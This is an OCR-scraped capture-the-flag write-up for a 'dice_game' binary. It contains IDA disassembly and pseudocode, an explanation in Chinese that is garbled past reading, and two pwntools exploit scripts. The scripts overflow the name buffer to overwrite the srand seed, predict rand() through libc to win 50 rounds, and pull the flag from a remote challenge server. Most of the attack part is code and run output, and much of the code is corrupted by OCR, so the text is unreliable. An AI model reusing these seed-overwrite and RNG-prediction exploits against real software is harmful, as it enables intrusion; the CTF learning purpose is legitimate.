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root@mypwn:/ctf/work/python/dice_game# checksec dice_game
[*] '/ctf/work/python/dice_game/dice_game'

Arch: amd64-64-1ittle
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
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[F] Functions win... & & @

Function name

[#] _init_proc

[7] puts

[7] printf

[7] _assert_fail

[7] read

[7] _libc_start_main

[7] srand

[7] fgets

[¥] _gmon_start__

[7] time

[7] fflush

[7] fopen

[F] _isoc99_scanf

[F] _cxa_finalize
rand
start
sub_920
sub_9B0
sub_9F0
go_game
get_flag

_term_proc

imp_puts
__imp_printf
__imp___assert_fail
__imp_read

7| _imp___libc_start_main
[7] _imp_srand

[F] _imp_fgets

[F] _imp_time

[7] _imp_fflush
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Line 22 of 39

.text:0000000000000B99
.text:0000000000000B99
-text:0000000000000B99
.text:0000000000000B99

-text:0000000000000B99
.text:0000000000000B99
.text:0000000000000B99
-text:0000000000000B99
.text:0000000000000B99
.text:0000000000000B99
-text:0000000000000B99
.text:0000000000000B99
.text:0000000000000B99
.text:0000000000000B99
.text:0000000000000B9A
.text:0000000000000B9D
-text:0000000000000BA1
-text:0000000000000BA5
.text:0000000000000BAA
-text:0000000000000BAF
.text:0000000000000BB2
-text:0000000000000BB5
.text:0000000000000BBA
-text:0000000000000BBF
.text:0000000000000BC3
.text:0000000000000BCA
-text:0000000000000BCF
.text:0000000000000BD4
.text:0000000000000BDB
.text:0000000000000BDE
.text:0000000000000BE1
.text:0000000000000BE6
.text:0000000000000BEA
-text:0000000000000BEF
-text:0000000000000BF2
.text:0000000000000BF7
-text:0000000000000BFC
.text:0000000000000C00
-text:0000000000000C05
.text:0000000000000C07
.text:0000000000000C0B
-text:0000000000000COF
.text:0000000000000C14
.text:0000000000000C14
.text:0000000000000C14
.text:0000000000000C18
.text:0000000000000C1B
.text:0000000000000C22
-text:0000000000000C27
-text:0000000000000C2C
.text:0000000000000C33
.text:0000000000000C36
-text:0000000000000C39
.text:0000000000000C3E
.text:0000000000000C42
.text:0000000000000C44
.text:0000000000000C49
.text:0000000000000C50
.text:0000000000000C54
.text:0000000000000C54
.text:0000000000000C54
-text:0000000000000C54
.text:0000000000000C57
.text:0000000000000C59
.text:0000000000000C60
-text:0000000000000C65
.text:0000000000000C6A
-text:0000000000000C6F

x I8 IDA View-A @ [E Pseudocode-A @[T Hex View-1 B
;= == SUBROUTINE
; Attributes: bp-based frame
.text:0000000000000B99 ; int cdecl main(int, char *#*, char ##*)
main proc near ; DATA XREF: start+1DTo
szName = byte ptr -50h
var_19 = byte ptr -19h
nLenName = gword ptr -18h
seed = dword ptr -10h
nRound = dword ptr -4
; _ unwind {
push rbp
mov rbp, rsp
sub rsp, 50h
lea rdx, [rbpt+szName]
mov eax, 0
mov ecx, 6
mov rdi, rdx
rep stpsq
mov edi, 0 ; timer
call time
mov qword ptr [rbpt+seed], rax
lea rdi, aWelcomeLetMeKn ; "Welcome, let me know your name:
mov eax, 0
call printf
mov rax, cs:stdout ptr
mov rax, [rax]
mov rdi, rax ; stream
call fflush
lea rax, [rbpt+szName]
mov edx, 50h ; 'P' ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call read
mov [rbp+nLenName], rax
cmp [rbp+nLenName], 31h
jg short loc_Cl4
mov rax, [rbp+nLenName]
sub rax,
mov [rbpt+rax+szName], 0
loc_C14: ; CODE XREF: main+6CTj
lea rax, [rbpt+szName]
mov rsi, rax
lea rdi, aHiSLetSPlayAGa ; "Hi, %s. Let's play a game.\n"
mov eax, 0
call printf
mov rax, cs:stdout ptr
mov rax, [rax]
mov rdi, rax ; stream
call fflush
mov rax, gword ptr [rbp+seed]
mov edi, eax ; seed
call srand
mov [rbp+nRound], 1
mov [rbp+var 19], 0
loc_C54: ; CODE XREF: main+FFij
; main+119475
mov eax, [rbp+nRound]
mov esi, eax
lea rdi, aGameD50 ; "Game %d/50\n"
mov eax, 0
call printf
mov eax, 0
call go_game
mov [rbptvar_19], al

.text:0000000000000C74

00000BB2 0000000000000BB2: main+19 (Synchronized with Hex View-1)
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__inte4 _ fastcall main(__int64 al, char **a2, char **a3)
{

char szName[55]; // [rsp+06h] [rbp-56h]

char nResultGame; // [rsp+37h] [rbp-19h]

ssize_t nLenName; // [rsp+38h] [rbp-18h]

unsigned int seed[2]; // [rsp+46h] [rbp-10h]

unsigned int nRound; // [rsp+4Ch] [rbp-4h]

memset(szName, @, Ox30uLL);
*(_QWORD *)seed = time(OLL);
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
nLenName = read(@, szName, Ox50uLL);
if ( nLenName <= 49 )
szName[nLenName - 1] = 0;
printf("Hi, %s. Let's play a game.\n", szName);
fflush(stdout);
srand(seed[0]);
nRound = 1;
nResultGame = 9;
while ( 1)
{
printf("Game %d/50\n", nRound);
nResultGame = go_game();
fflush(stdout);
if ( nResultGame != 1)
break;
if ( nRound == 50 )
{
get _flag((__int64)szName);
break;
¥
++nRound;
¥
puts("Bye bye!");
return OLL;
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signed _ int64 go_game()

{
signed __int64 result; // rax
__int16 nInputPoint; // [rsp+Ch] [rbp-4h]
__int16 nRandPoint; // [rsp+Eh] [rbp-2h]

printf("Give me the point(1~6): ");
fflush(stdout);
_isoc99_scanf("%hd", &nInputPoint);
if ( nInputPoint > @ && nInputPoint <= 6 )
{
nRandPoint = rand() % 6 + 1;
if ( nInputPoint <= @ || nInputPoint > 6 || nRandPoint <= @ || nRandPoint > 6 )
_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game")
if ( nInputPoint == nRandPoint )
{
puts("You win.");
result = 1LL;
}
else
{
puts(“"You lost.");
result = OLL;

}

else

{

puts("Invalid value!");
result = OLL;

}

return result;

int _ fastcall get_flag(__int64 al)

{
char s; // [rsp+1leh] [rbp-706h]
FILE *stream; // [rsp+78h] [rbp-8h]

printf("Congrats %s\n", al);
stream = fopen("flag", "r");
fgets(&s, 100, stream);

puts(&s);
return fflush(stdout);
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srand(seed[0]);
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__int64 __fastcall main(__int64 al, char *%a2, char
{

char szName[55]:

char nResultGame;

ssize t nLenName:

unsigned int seed[2];

unsigned int nRound;

memset(szName, @, @x30uLL);
*(_QWORD *)seed = time(QLL);
printf("Welcome, let me know your name:
fflush(stdout);
nLenName = read(@, szName, 0x5@ulL);
( nLenName <= 49 )

szName [nLenName - 1] = 0;
printf("Hi, %s. Let's play a game.\n", szName);
fflush(stdout);
srand(seed[0]);

frastergohome

BATR szName B — NN TT, HANFRH]Z0x50, szNamelIrbplmis{E&50n, RILFHZE, RESMRR
Ho

s F — T seedIrbplmFEE 2100, A B A 7L A\ szName [ B 7] DL & Bllseed I 1E
B R IXFER, BAIME— T payload:

payload = 'A'*0x40 + p64(1)

T4 payload4s 5 python i A< 40 T

#coding:utf8
from pwn import *

process_name = './dice_game'
p = process(process_name)

payload = '"A'*0x40 + p64(1)

p.sendlineafter('Welcome, let me know your name: ', payload)
p.interactive()

AT BT -

root@mypwn: /ctf/work/python/dice_game# python dice_game.py

[+] Starting local process './dice_game': pid 62

[*] Switching to interactive mode

Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI. Let's play a game.
Game 1/50

Give me the point(1~6): $ 1

You lost.

Bye bye!

[*] Process './dice_game' stopped with exit code @ (pid 62)

[*] Got EOF while reading in interactive

$

[*] Interrupted

root@mypwn:/ctf/work/python/dice_game# python dice_game.py

[+] Starting local process './dice_game': pid 67

[*] Switching to interactive mode

Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATI. Let's play a game.



Game 1/50

Give me the point(1~6): $ 2

You win.

Game 2/50

Give me the point(1~6): $ 1

You lost.

Bye bye!

[*] Process './dice_game' stopped with exit code @ (pid 67)
[*] Got EOF while reading in interactive

$

[*] Interrupted

root@mypwn:/ctf/work/python/dice_game# python dice_game.py
[+] Starting local process './dice_game': pid 72

[*] Switching to interactive mode

Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI. Let's play a game.
Game 1/50

Give me the point(1l~6): $ 2

You win.

Game 2/50

Give me the point(i1~6): $ 2

You lost.

Bye bye!

[*] Process './dice_game' stopped with exit code @ (pid 72)

[*] Got EOF while reading in interactive

$

[*] Interrupted

root@mypwn:/ctf/work/python/dice_game# python dice_game.py

[+] Starting local process './dice_game': pid 77

[*] Switching to interactive mode

Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI. Let's play a game.
Game 1/50

Give me the point(i1~6): $ 2

You win.

Game 2/50

Give me the point(i~6): $ 3

You lost.

Bye bye!

[*] Process './dice_game' stopped with exit code @ (pid 77)

[*] Got EOF while reading in interactive

$

[*] Interrupted

root@mypwn: /ctf/work/python/dice_game# python dice_game.py

[+] Starting local process './dice game': pid 82

[*] Switching to interactive mode

Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI. Let's play a game.
Game 1/50

Give me the point(1~6): $ 2

You win.

Game 2/50

Give me the point(1~6): $ 4

You lost.

Bye bye!

[*] Process './dice_game' stopped with exit code @ (pid 82)
[*] Got EOF while reading in interactive

$

[*] Interrupted

root@mypwn:/ctf/work/python/dice_game# python dice_game.py
[+] Starting local process './dice_game': pid 87

[*] Switching to interactive mode



Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATI. Let's play a game.
Game 1/50

Give me the point(1~6): $ 2

You win.

Game 2/50

Give me the point(i1~6): $ 5

You win.

Game 3/50

Give me the point(1~6): $ 1

You lost.

Bye bye!

[*] Process './dice_game' stopped with exit code © (pid 87)
[*] Got EOF while reading in interactive

$

[*] Interrupted

root@mypwn:/ctf/work/python/dice_gamet
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#coding:utf8

from pwn import *
from ctypes import *

process_name = './dice_game'

p = process(process_name)

# p = remote('111.198.29.45', 38348)

# elf = ELF(process_name)

libc = cdll.LoadLibrary('/lib/x86_64-1inux-gnu/libc.so0.6")
libc.srand(1)

payload = "A' * 0x40 + p64(1)
p.sendlineafter('Welcome, let me know your name: ', payload)

for i in range(590):
rand_value = libc.rand() % 6 + 1

p.sendlineafter('Give me the point(1~6): ', str(rand_value))

p.interactive()

PATE RO T:

root@mypwn: /ctf/work/python/dice_game# python dice_game.py

[+] Starting local process './dice_game': pid 119

[*] Switching to interactive mode

You win.

Congrats AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT
[*] Got EOF while reading in interactive

$
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root@mypwn:/ctf/work/python/dice_game# python dice_game.py

[+] Opening connection to 111.198.29.45 on port 38348: Done

[*] Switching to interactive mode

You win.

Congrats AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT
cyberpeace{991fe8e6d17a37f714201d68d3520c2a}

Bye bye!

[*] Got EOF while reading in interactive

$
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